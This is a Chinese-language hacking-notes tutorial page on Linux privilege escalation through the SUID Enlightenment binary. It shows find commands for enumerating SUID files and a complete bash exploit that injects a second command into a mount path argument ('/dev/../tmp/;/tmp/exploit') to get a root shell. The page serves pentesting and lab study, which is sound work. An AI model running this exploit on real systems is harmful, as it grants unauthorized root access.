> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-enlightenment-linux-privilege-escalation.md).

# SUID（Enlightenment）– Linux 权限提升

SUID（Enlightenment）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。

## 这是什么

SUID 二进制文件以其所有者的权限执行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可以读取受保护的文件、启动特权 shell，或执行攻击者控制的代码。此特定页面侧重于 **SUID（Enlightenment）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。

## 枚举

在运行利用路径之前，先确认本地环境和具体的配置错误。

```bash
find / -perm -4000 -type f 2>/dev/null
```

## 示例

我们首先搜索属于我们用户的 SUID 文件。为此，请执行以下命令：

```bash
find / -perm -4000 2>/dev/null
```

通过分析输出，我们注意到二进制文件 **enlightenment**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70a652245f70014cac4a9062bb8887ab3838d25d%2Fimage%20(769).png?alt=media" alt=""><figcaption></figcaption></figure>

我们正在研究与该二进制文件相关的漏洞。经过一些研究后，我们找到了一个适用于版本的漏洞利用 **0.25.4**.

{% embed url="<https://www.exploit-db.com/exploits/51180>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a67c855a2046e8bd6aa53f64254b1118a1ba447c%2Fimage%20(770).png?alt=media" alt=""><figcaption></figcaption></figure>

然而，通过检查系统上安装的当前 Enlightenment 版本，我们发现这是较旧的版本 **0.23.1**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-006e8193583f1c13081e818f1279908d0def10aa%2Fimage%20(771).png?alt=media" alt=""><figcaption></figcaption></figure>

我们测试以下漏洞利用来利用该漏洞：

```bash
#!/usr/bin/bash

file="/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
rm -rf /tmp/exploit
rm -rf /tmp/net
```

```bash
./exploit.sh
```

执行完该漏洞利用后，我们获得了一个具有 root 权限的 shell。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef7dc22a89003ed59082e2b1d2a9bc629e5e9231%2Fimage%20(772).png?alt=media" alt=""><figcaption></figcaption></figure>


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